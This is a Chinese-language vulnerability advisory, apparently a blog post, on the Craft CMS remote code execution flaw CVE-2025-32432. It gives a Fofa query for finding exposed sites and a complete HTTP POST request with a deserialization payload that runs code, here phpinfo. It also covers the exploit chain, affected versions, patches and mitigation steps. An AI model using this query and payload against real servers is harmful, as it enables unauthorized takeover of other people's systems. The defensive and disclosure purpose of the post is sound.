根据公开的漏洞信息,Craft CMS 存在一个严重的前台远程代码执行漏洞(CVE-2025-32432),攻击者可利用该漏洞在未授权的情况下执行任意代码,进而控制服务器。以下是该漏洞的综合分析及应对建议:
Fofa:
header="X-Powered-By: Craft CMS" || banner="X-Powered-By: Craft CMS"
0x01 漏洞分析&复现
1.首先访问一下 /admin/login 获取一下CSRF_Token
view-source:xxxx/admin/login
2.然后把CSRF_TOKEN 添加进去发包即可构造phpinfo 或 执行任意代码
Payload (phpinfo)
POST /index.php?p=admin/actions/assets/generate-transform HTTP/2
Host:
Cookie: CRAFT_CSRF_TOKEN=e40fa024c0415d8febe047e1b10cb29c177af6f7078425b4a4ad51baa12ead4aa%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22IxdRpsRcEf5rV4Mg9Rlm6oO8MI482Vi9M-arQ6hi%22%3B%7D
Content-Type: application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
X-Csrf-Token: mCR9N18c3CaAqUXR6nDCW4gZo0t8cHzu47I46ULar9yg2OGu6dafjNFcGWUvb45Fxc9wo7xEjzyxS88mSh8z1q77DNFwjMbl7fWA3Ljg9-U=
Content-Length: 215
{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\behaviors\FieldLayoutBehavior","__class":"GuzzleHttp\Psr7\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}},"9qsccmw8lve":"="}
漏洞概述
- 漏洞原理
该漏洞源于 Craft CMS 在处理特定端点(如generate-transform
或conditions/render
)的请求时,未能正确验证用户输入。攻击者可通过构造恶意 POST 请求,利用反序列化缺陷或 Yii 框架的输入验证漏洞(如 CVE-2024-58136),将恶意代码注入 PHP 会话文件或直接触发代码执行,最终实现服务器控制。 影响版本
- 3.x 分支:3.0.0-RC1 ≤ 版本 < 3.9.15
- 4.x 分支:4.0.0-RC1 ≤ 版本 < 4.14.15
- 5.x 分支:5.0.0-RC1 ≤ 版本 < 5.6.17
注:部分报告中提及的 CVE-2024-56145(与register_argc_argv
配置相关)为另一独立漏洞,不影响本漏洞分析。
危害性
- CVSS 评分:不同来源显示评分存在差异,部分报告评为 8.9(高风险),而其他研究认为结合 Yii 框架漏洞后整体威胁可达 10 分(最高风险)。
- 实际影响:攻击者可完全控制服务器,窃取敏感数据或植入后门。截至 2025 年 4 月,全球约 18 万+资产受影响,且已发现 300+ 实例遭入侵。
攻击细节
利用链示例
- 第一阶段:通过发送特制 POST 请求(如包含反序列化参数的
generate-transform
端点),触发 Craft CMS 的代码执行漏洞,将 PHP 文件管理器写入服务器的会话文件中。 - 第二阶段:利用 Yii 框架的输入验证漏洞(CVE-2024-58136),通过恶意 JSON 负载激活会话文件中的 PHP 代码,最终在服务器上执行任意命令。
- 第一阶段:通过发送特制 POST 请求(如包含反序列化参数的
- 漏洞验证
已有公开的 POC/EXP,可通过构造请求触发phpinfo()
函数或上传 WebShell 验证漏洞存在。
修复建议
官方补丁
升级至以下安全版本:- Craft CMS 3.9.15
- Craft CMS 4.14.15
- Craft CMS 5.6.17
补丁下载地址:Craft CMS GitHub Releases。
临时缓解措施
- 禁用
register_argc_argv
配置(若同时存在 CVE-2024-56145 风险)。 - 监控服务器日志,检查异常 POST 请求(如包含反序列化参数的
/index.php
或/generate-transform
路径)。
- 禁用
应急响应
- 若已遭入侵,需立即重置服务器安全密钥、数据库凭证,并强制用户修改密码。
- 使用漏洞扫描工具(如 Goby)检测资产风险。
关联漏洞与防御扩展
- Yii 框架漏洞(CVE-2024-58136):Craft CMS 依赖的 Yii 框架漏洞加剧了攻击危害,需同步升级至 Yii 2.0.52 或更高版本。
- 安全加固建议:限制 CMS 后台的公开访问,启用 Web 应用防火墙(WAF)拦截恶意负载,并定期审计代码依赖项。
参考来源
建议受影响的用户尽快采取修复措施,并持续关注官方安全公告。
评论0
暂时没有评论